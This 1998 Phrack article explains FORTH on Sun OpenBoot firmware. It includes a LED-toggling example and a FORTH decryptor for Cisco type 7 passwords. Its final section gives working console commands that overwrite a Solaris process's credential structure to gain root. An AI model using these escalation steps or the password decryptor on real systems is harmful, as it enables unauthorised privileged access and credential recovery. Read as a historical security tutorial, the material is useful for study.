---[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 09 of 15 -------------------------[ FORTH Hacking on Sparc Hardware --------[ mudge L0pht Heavy Industries [ http://www.L0pht.com ] presents FORTH Hacking on Sparc Hardware mudge@l0pht.com [Disclaimer - you can really mess up your system by mucking about with the information below if done incorrectly. Neither The L0pht, nor the author, take any accountability for mis-use of this information. Caution: Contents under pressure! ] So here it is, about 12:45am on a Monday morning. SpaceRogue from the l0pht just finished kicking my ass at darts the entire night although I managed to enjoy myself anyway due to a plethora of Guinness. Route has been breathing down my neck for an article for PHRACK and since the one I proposed to him last time we both deemed as completely morally irresponsible (after all, we like it that the Internet works on a _somewhat_ consistent basis), I find myself dredging up bizarre tricks and knickknacks that I've been playing with. FORTH. Well, I could say it's the wave of the future but is has been around a long time and doesn't seem to be gaining tremendous popularity. However, it turns out that it is an incredibly interesting programming language that, whether you know it or not, plays a very key roll in some of our favorite hardware. Sun Microsystems uses forth for their OpenBoot implementation. What this means is that when you power on anything from an old Sun 3/60 that is based off of the Motorola 680X0 to an UltraSparc Server based off of the UltraSparc 64 bit processor, the hardware and initial bootstrapping code is handled by a FORTH interpreter. For a long time it was infrequent that a hacker would actually be able to lay their hands, legitimately, on a piece of Sun hardware and play with the OpenBoot prom. Nowadays I have watched companies throw out older Sun 2's, Sun 3's and even Sparc ELC and IPC's in large quantities. Frequenting your local Ham Radio or Tech flea markets can usually yield an older Sun system for extremely short cash. Then again, if you work around them you have "free" access to play with the hardware and sometimes that's what the game is all about. As it turns out I happen to have a Sparc at home, at the l0pht, and at work. The first two were trash picked and the third is just due to the fact that I stopped flipping burgers and decided to make the same amount of money doing something I'm more interested in (grin). Yes, there are plenty of holes still around in Solaris, SunOS, and the other operating systems that run on the Sparc architecture (such as NeXTSTEP and the *BSD's) but it's always fun to see how the system starts up as almost nobody seems to think about security at that point. In this article we will start by writing a simple program to turn the LED light on the hardware on and off. We will then write a cisco type 7 password decryptor for Pforth - which is a FORTH interpreter written for the 3Com PalmPilot PDA. At that point I will show how to change the credential structure of a running process to 0 (root). FORTH is a very simple, yet powerful language. It is tremendously small and compact which lends it extremely well to embedded systems. This is one of the main reasons that the bootstrapping of hardware and software on Suns is done in FORTH. If you have ever used a scientific, or often referred to as "Reverse Polish Notation", calculator then you understand the stack based premise behind FORTH. [elapsed time 1.5 weeks] EEEKS! So I'm rummaging through some of my files and find that I've been neglect in my duties of finishing this article... One moment, one more glass of port (it's always good to move on to port after a few beers...). Ahh. Ok, on to some basic Forth examples to get everybody in the right mindset. Let's try the old standard of 2+3. In stack based notation this is expressed as 2 3 +. Think of every element being pushed onto the stack and then operands dealing with the top layers in reverse order. Thus, 2 pushes the number 2 on the stack, 3 pushes the number 3 on the stack, and + says take the top two numbers off of the stack and push the result on to the stack in their place [diagram 1]. [diagram 1] 2 3 + --- --- --- | 2 | | 3 | | 5 | --- |---| --- | 2 | --- [note: to pop the top of the stack and display it on the screen type '.'] Simple? You bet. Try it out on your favorite piece of Sun hardware. L1-A (the L1 key might be labeled 'Stop') give the following a shot: <++> EX/4th/blink.4 ok :light-on 1 aux@ or aux! ; ok :light-off 1 invert aux@ and aux! ; ok <--> Now when you type light-on, the led on the front of the Sparc turns on. Conversely, light-off turns the led off. On installations with OpenBoot 3.x I believe this is a built in FORTH word as led-on and led-off. Older versions of OpenBoot don't have this built in word - but now you can add it. Here's what all of the above actually means - :light-on - this marks the beginning of a new word definition which ends when a semi-colon is seen. 1 - pushes 1 on the stack. aux@ - takes the value stored in the aux register and pushes it onto the stack. or - takes the top two values from the stack, OR's them and leaves the result in their place. aux! - takes the value on the top of the stack and writes it to the aux register. ; - ends the word definition. :light-off - this marks the beginning of a new word definition which ends when a semi-colon is seen. 1 - pushes 1 on the stack. invert - inverts the bits or the value on the top of the stack aux@ - takes the value stored in the aux register and pushes it onto the stack. and - takes the top two values from the stack, AND's them and leaves the result in their place. aux! - takes the value on the top of the stack and writes it to the aux register. ; - ends the word definition. [note - you can see the disassembly of the led-on / led-off words, if they are in your openboot with ' ok led-on (see)' ] ---- The PalmPilot is a rockin' little PDA based off of the Motorola 68328 (DragonBall) processor. At the L0pht we all went out and picked up PalmPilots as soon as we saw all of the wonderful unused features of the Motorola processor in it. Ahhhh, taking us back to similar feelings of messing about in the 6502. PForth is a bit different from the OpenBoot forth implementation in some minor ways - most notably in the default input bases and how words such as 'abort' are handled. I figured a little app for the Pilot in FORTH might help people see the usefulness of the language on other devices than the Sun firmware. The porting of this to work in an OpenBoot environment is left as an exercise to the reader. The cisco type 7 password decryptor is a bit more complex than the led-on / light-on example above [see the book references at the end of this article for a much more thorough explanation of the FORTH language]. --begin cisco decryptor-- <++> EX/4th/cisco_decryptor.4 \ cisco-decrypt include string ( argh! We cannot _create_ the ) ( constant array as P4th dies ) ( around the 12th byte - ) ( thus the ugliness of setting it ) ( up in :main .mudge) variable ciscofoo 40 allot variable encpw 60 allot variable decpw 60 allot variable strlen variable seed variable holder :toupper ( char -- char ) dup dup 96 > rot 123 < and if 32 - then ; :ishexdigit ( char -- f ) dup dup 47 > rot 58 < and if drop - 1 else dup dup 64 > 71 < and if drop - 1 else drop 0 then then ; :chartonum ( char -- i ) toupper dup ishexdigit 0= if abort" contains invalid char " then dup 58 < if 48 - else 55 - then ; :main 100 ciscofoo 0 + C! 115 ciscofoo 1 + C! 102 ciscofoo 2 + C! 100 ciscofoo 3 + C! 59 ciscofoo 4 + C! 107 ciscofoo 5 + C! 115 ciscofoo 6 + C! 111 ciscofoo 7 + C! 65 ciscofoo 8 + C! 44 ciscofoo 9 + C! 46 ciscofoo 10 + C! 105 ciscofoo 11 + C! 121 ciscofoo 12 + C! 101 ciscofoo 13 + C! 119 ciscofoo 14 + C! 114 ciscofoo 15 + C! 107 ciscofoo 16 + C! 108 ciscofoo 17 + C! 100 ciscofoo 18 + C! 74 ciscofoo 19 + C! 75 ciscofoo 20 + C! 68 ciscofoo 21 + C! 32 word count (addr + 1, strlen ) strlen! encpw strlen @ cmove> drop cr ( make sure the string is > 3 chars ) strlen @ 4 < if abort" short input" then strlen @ 2 mod ( valid encpw's ) ( must have even number of chars ) 0= 0= if abort" odd input" then encpw C@ 48 - 10 * encpw 1 + C@ 48 - + seed! seed @ 15 > if abort" incalid seed" then 0 holder ! strlen @ 1 + 2 do i 2 = 0= i 2 mod 0= and if holder @ ciscofoo seed @ + C@ xor emit seed @ 1 + seed ! 0 holder ! i strlen @ = if cr quit then then i 2 mod 0= if encpw i + C@ chartonum 16 * holder ! else encpw i + C@ chartonum holder @ + holder ! then loop ; <--> --end cisco decryptor-- Ok - after that brief little excursion we return to the Sparc hardware. So, how can this information be used from a more traditional hacking standpoint? Let's say you are sitting in front of a nice system running Solaris but for whatever reason you only have an unprivileged account. Since there is not any setup in the hardware to delineate different users and their ability to access memory (well, not in the way you think about it inside of Unix processes) you really have free roam of the system. Each process is allocated a structure defining various aspects about itself. This is needed when processes are swapped out and in to memory. As a regular user you really aren't allowed to muck about in this structure but a quick L1-A will get us around all of that. Peeking into /usr/include/sys/proc.h shows that what we are really after is the process credentials structure. This is located after a pointer to a vnode, a pointer to the process address space, and two mutex locks. At that point there is a pointer to a cred struct which has the process credentials. Inside the process credentials structure you find : reference count (long) effective user id (short) effective group id (short) real user id (short) real group id (short) "saved" user id (short) "saved" group id (short) etc... Eyes lighting up yet? All of these variables are accessible when you are at the command prompt. The first thing that you need to figure out is the start of the proc structure for a given process ID (PID). Let's assume I have a shell running (tcsh in this case). In tcsh and csh the PID of the shell is stored in $$. Alliant+ ps -eaff | grep $$ mudge 914 913 1 15:29:31 pts/5 0:01 tcsh Sure enough, that's my tcsh. Now simply use ps to find the beginning of the proc structure: Alliant+ ps -lp $$ F S UID PID PPID C PRI NI ADDR SZ WCHAN TTY TIME CMD 8 S 777 914 913 0 51 20 f5e09000 436 f5e091d0 pts/5 0:01 tcsh You can find the layout of your proc structure in /usr/include/sys/proc.h. From this it is apparent that the pointer to the credential structure is located 24 bytes into the proc struct. In the above example that means the pointer is at 0xf5e09000 + 0x18 or 0xf5e09018. The credential struct is listed in /usr/include/sys/cred.h. From this we note that the effective user id is 4 bytes into the cred structure. Just so you can see that there's nothing hidden up my sleeves - Alliant+ id uid=777(mudge) gid=1(other) Fire up the trusty OpenBoot system via L1-A and get the pointer to the cred structure via : ok hex f5e09000 18 + l@ . f5a99858 ok go Now, get the effective user id by ok hex f5a99858 4 + l@ . 309 (309 hex == 777 decimal) ok go Of course you want to change this to 0 (euid root): ok hex 0 f5a99858 4 + l! ok go check your credentials! Alliant+ id uid=777(mudge) gid=1(other) euid=0(root) If you want to change the real user id it would be an offset of 12 (0xc): ok hex 0 f5a99858 c + l! ok go Alliant+ id uid=0(root) gid=1(other) Needless to say, there's a whole different world living inside that hardware in front of you that is begging to be played and fiddled with. Keep in mind that you can do serious damage by mucking around in there though. enjoy, mudge@l0pht.com --- http://www.l0pht.com --- Some excellent FORTH books that you should get to learn more about this are: Starting FORTH, Leo Brodie, Prentice-Hall, Inc. ISBN 0-13-842922-7 OpenBoot 3.x Command Reference Manual, SunSoft [get from a Sun Reseller] Pilot FORTH was written by Neal Bridges (nbridges@interlog.com) - http://www.interlog.com/~nbridges ----[ EOF